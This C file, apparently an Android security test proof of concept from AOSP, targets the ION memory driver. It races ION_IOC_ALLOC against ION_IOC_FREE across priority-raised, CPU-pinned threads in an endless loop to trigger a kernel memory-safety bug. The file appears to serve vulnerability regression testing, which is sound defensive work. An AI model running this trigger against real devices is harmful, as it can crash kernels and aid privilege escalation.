1 /*
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 #include <errno.h>
18 #include <stdlib.h>
19 #include <unistd.h>
20 #include <stdio.h>
21 #include <dirent.h>
22 #include <string.h>
23 #include <sys/stat.h>
24 #include <sys/ioctl.h>
25 #include <stdio.h>
26 #include <string.h>
27 #include <dlfcn.h>
28 #include <sys/time.h>
29 #include <sys/mman.h>
30 #include <sys/syscall.h>
31 #include <sys/resource.h>
32 #include <fcntl.h>
33 #include <pthread.h>
34 #include <unistd.h>
35 #include <sched.h>
36 
37 typedef int ion_user_handle_t;
38 
39 enum ion_heap_type {
40 	ION_HEAP_TYPE_SYSTEM,
41 	ION_HEAP_TYPE_SYSTEM_CONTIG,
42 	ION_HEAP_TYPE_CARVEOUT,
43 	ION_HEAP_TYPE_CHUNK,
44 	ION_HEAP_TYPE_DMA,
45 	ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
46 				 are at the end of this enum */
47 	ION_NUM_HEAPS = 16,
48 };
49 
50 #define ION_HEAP_SYSTEM_MASK		(1 << ION_HEAP_TYPE_SYSTEM)
51 #define ION_HEAP_SYSTEM_CONTIG_MASK	(1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
52 #define ION_HEAP_CARVEOUT_MASK		(1 << ION_HEAP_TYPE_CARVEOUT)
53 #define ION_HEAP_TYPE_DMA_MASK		(1 << ION_HEAP_TYPE_DMA)
54 
55 #define ION_NUM_HEAP_IDS		sizeof(unsigned int) * 8
56 
57 struct ion_allocation_data {
58 	size_t len;
59 	size_t align;
60 	unsigned int heap_id_mask;
61 	unsigned int flags;
62 	ion_user_handle_t handle;
63 };
64 
65 
66 struct ion_fd_data {
67 	ion_user_handle_t handle;
68 	int fd;
69 };
70 
71 
72 struct ion_handle_data {
73 	ion_user_handle_t handle;
74 };
75 
76 
77 struct ion_custom_data {
78 	unsigned int cmd;
79 	unsigned long arg;
80 };
81 #define ION_IOC_MAGIC		'I'
82 
83 #define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
84 				      struct ion_allocation_data)
85 
86 #define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
87 
88 
89 #define ION_FLAG_CACHED 1		/* mappings of this buffer should be
90 					   cached, ion will do cache
91 					   maintenance when the buffer is
92 					   mapped for dma */
93 #define ION_FLAG_CACHED_NEEDS_SYNC 2	/* mappings of this buffer will created
94 					   at mmap time, if this is set
95 					   caches must be managed manually */
96 
97 int g_fd = -1;
98 struct ion_allocation_data* g_allocation = NULL;
99 struct ion_handle_data g_free_data;
100 static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
101 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
102 
open_driver()103 int open_driver() {
104     char* dev_path = "/dev/ion";
105     g_fd = open(dev_path, O_RDONLY);
106     if (g_fd < 0) {
107         printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
108     } else {
109         printf("[*] open file(%s) succ!\n", dev_path);
110     }
111     return g_fd;
112 }
113 
prepare_data()114 void prepare_data() {
115     void* data = malloc(0x1000);
116 
117     g_allocation = (struct ion_allocation_data*)data;
118 
119     g_allocation->len = 0x1000;
120     g_allocation->align = 8;
121     g_allocation->heap_id_mask = 1 << 25;
122     g_allocation->flags = ION_FLAG_CACHED;
123     g_allocation->handle = -1;
124 
125     mprotect(data, 0x1000, PROT_READ);
126     printf("[*] mprotect, error = %d\n", errno);
127 
128     g_free_data.handle = 1;
129 }
130 
trigger_ion_alloc()131 void trigger_ion_alloc() {
132     ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
133 }
134 
trigger_ion_free()135 void trigger_ion_free() {
136     ioctl(g_fd, ION_IOC_FREE, &g_free_data);
137 }
138 
setup_privi_and_affinity(int privi,unsigned long cpu_mask)139 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
140     setpriority(PRIO_PROCESS, gettid(), privi);
141 
142     /* bind process to a CPU*/
143     if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
144     }
145 }
race_thread(void * arg)146 void* race_thread(void* arg) {
147     setup_privi_and_affinity(-19, 2);
148     while (1) {
149         pthread_mutex_lock(&mutex);
150         pthread_cond_wait(&cond, &mutex);
151         trigger_ion_free();
152         pthread_mutex_unlock(&mutex);
153     }
154 
155 }
156 
157 
main(int argc,char ** argv)158 int main(int argc, char**argv) {
159     if (open_driver() < 0) {
160         return -1;
161     }
162     setup_privi_and_affinity(0, 1);
163     prepare_data();
164     pthread_t tid;
165     pthread_create(&tid, NULL, race_thread, NULL);
166     sleep(1);
167     while (1) {
168         pthread_cond_signal(&cond);
169         usleep(100);
170         trigger_ion_alloc();
171         sleep(1);
172     }
173 
174     return 0;
175 }
176